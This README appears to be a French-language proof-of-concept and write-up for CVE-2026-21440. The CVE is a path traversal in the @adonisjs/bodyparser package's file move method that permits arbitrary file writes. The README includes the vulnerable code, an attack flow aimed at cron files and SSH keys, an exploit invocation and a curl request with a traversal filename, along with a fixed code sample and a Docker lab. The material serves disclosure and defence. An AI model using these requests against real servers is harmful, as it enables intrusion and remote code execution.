poc et writeup pour cve-2026-21440 : une vulnérabilité critique de traversée de chemin dans @adonisjs/bodyparser permettant l'écriture arbitraire de fichiers
traversée de chemin menant à l'écriture arbitraire de fichiers dans @adonisjs/bodyparser
une vulnérabilité critique de traversée de chemin existe dans le paquet @adonisjs/bodyparser qui permet à des attaquants distants d'écrire des fichiers arbitraires en dehors du répertoire de téléversement prévu. lorsque la fonction multipartfile.move() est appelée sans fournir explicitement un nom de fichier assaini, l'analyseur utilise par défaut le nom de fichier fourni par le client sans assainissement approprié.
comme l'implémentation utilise path.join() et que options.overwrite est par défaut true, un attaquant peut concevoir un nom de fichier malveillant contenant des séquences de traversée de répertoire (par exemple, ) pour écrire des fichiers n'importe où sur le système de fichiers, ce qui peut potentiellement conduire à une exécution de code à distance.
../../etc/cron.d/malicious| attribut | valeur |
|---|---|
| identifiant cve | cve-2026-21440 |
| classification cwe | cwe-22 : limitation incorrecte d'un nom de chemin à un répertoire restreint ('traversée de chemin') |
| score cvss v3.1 | 9.2 (critique) |
| vecteur d'attaque | réseau |
| complexité d'attaque | faible |
| privilèges requis | aucun |
| interaction utilisateur | aucune |
la vulnérabilité existe dans la méthode multipartfile.move(location, options?). lorsque les développeurs appellent cette méthode sans fournir options.name, le code utilise par défaut this.clientName — le nom de fichier original envoyé par le client — sans assainissement.
// chemin de code vulnérable dans @adonisjs/bodyparser
async move(location: string, options?: { name?: string; overwrite?: boolean }): Promise<void> {
const fileName = options?.name || this.clientName // ← entrée client non assainie
const filePath = path.join(location, fileName) // ← path.join permet la traversée
// ...
await fs.move(this.tmpPath, filePath, { overwrite: options?.overwrite ?? true })
}
┌─────────────────────────────────────────────────────────────────┐
│ attaquant │
└─────────────────────────────────────────────────────────────────┘
│
│ multipart/form-data
│ filename="../../etc/cron.d/pwned"
▼
┌─────────────────────────────────────────────────────────────────┐
│ application adonisjs vulnérable │
│ │
│ request.file('upload') │
│ │ │
│ ▼ │
│ file.move(app.tmpPath()) ← aucun nom assaini fourni │
│ │ │
│ ▼ │
│ path.join('/tmp/uploads', '../../etc/cron.d/pwned') │
│ │ │
│ ▼ │
│ se résout en : /etc/cron.d/pwned │
│ │ │
│ ▼ │
│ fichier écrit en dehors du répertoire de téléversement │
└─────────────────────────────────────────────────────────────────┘
│
▼
écriture arbitraire de fichier
→ rce via cron
→ écrasement de configuration
→ injection de clé ssh
| paquet | versions vulnérables | version corrigée |
|---|---|---|
@adonisjs/bodyparser | ≤ 10.1.1 | 10.1.2 |
@adonisjs/bodyparser | 11.0.0-next.1 à 11.0.0-next.5 | 11.0.0-next.6 |
@adonisjs/bodyparserfile.move() sans option name explicite# naviguer vers le répertoire de l'exploit
cd Exploit-PoC
# installer les dépendances
pip install -r requirements.txt
# exécuter l'exploit
python exploit.py --url http://target:3333/upload --path "../../../tmp/pwned.txt" --content "pwned"
curl -X POST http://target:3333/upload \
-F "[email protected];filename=../../tmp/pwned.txt"
// ❌ vulnérable - utilise le nom de fichier fourni par le client
public async upload({ request, response }: HttpContext) {
const file = request.file('upload')
if (file) {
await file.move(app.tmpPath()) // clientName utilisé comme nom de fichier
}
return response.ok({ message: 'uploaded' })
}
// ✅ sécurisé - génère un nom de fichier assaini
import { cuid } from '@adonisjs/core/helpers'
import path from 'node:path'
public async upload({ request, response }: HttpContext) {
const file = request.file('upload')
if (file) {
// générer un nom de fichier unique avec l'extension d'origine
const ext = path.extname(file.clientName).toLowerCase()
const safeName = `${cuid()}${ext}`
await file.move(app.tmpPath(), {
name: safeName,
overwrite: false // empêcher les écrasements
})
}
return response.ok({ message: 'uploaded' })
}
@adonisjs/bodyparser vers la version corrigée# cloner le dépôt
git clone https://github.com/k0nnect/cve-2026-21440.git
cd cve-2026-21440
# démarrer l'environnement vulnérable
docker-compose up --build
# dans un autre terminal, exécuter l'exploit
cd Exploit-PoC
python exploit.py --url http://localhost:3333/upload --path "../test.txt"
# vérifier que le fichier a été écrit en dehors du répertoire de téléversement
docker-compose exec app cat /app/test.txt
| date | événement |
|---|---|
| 2026-01-02 | correctif publié dans 10.1.2 et 11.0.0-next.6 |
| 2026-01-02 | ghsa-gvq6-hvvp-h34h publié |
| 2026-01-02 | cve-2026-21440 attribué |
| 2026-01-02 | publié par nvd |
ce dépôt est fourni à des fins éducatives et de recherche en sécurité autorisée uniquement. le code de preuve de concept est destiné à aider les professionnels de la sécurité à comprendre et à tester cette vulnérabilité dans des environnements qu'ils sont autorisés à évaluer.
l'accès non autorisé à des systèmes informatiques est illégal. les auteurs déclinent toute responsabilité en cas d'utilisation abusive de ces informations. obtenez toujours une autorisation appropriée avant de tester des vulnérabilités.
recherché avec ☕ par k0nnect